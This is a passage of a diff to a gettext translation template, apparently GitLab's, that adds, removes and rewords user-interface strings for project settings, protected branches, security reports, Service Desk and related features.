-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,7 +24240,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,10 +24315,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,7 +25269,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24809,7 +25430,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,7 +25442,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24845,6 +25466,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -24893,9 +25517,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25142,6 +25763,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,7 +25807,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25425,6 +26058,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26005,6 +26644,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26023,6 +26665,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26430,13 +27084,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26445,10 +27105,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26706,6 +27366,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26715,7 +27378,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26745,9 +27408,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26802,9 +27471,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,19 +27705,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27150,6 +27843,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,13 +29093,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28583,9 +29288,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29466,6 +30172,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29599,6 +30314,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29671,6 +30389,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29722,6 +30443,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -29830,9 +30563,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30214,7 +30947,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31065,9 +31810,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31095,7 +31837,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31200,6 +31942,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -31993,7 +32741,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32296,9 +33050,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,7 +33149,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32692,7 +33446,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32701,6 +33470,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -32850,9 +33625,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
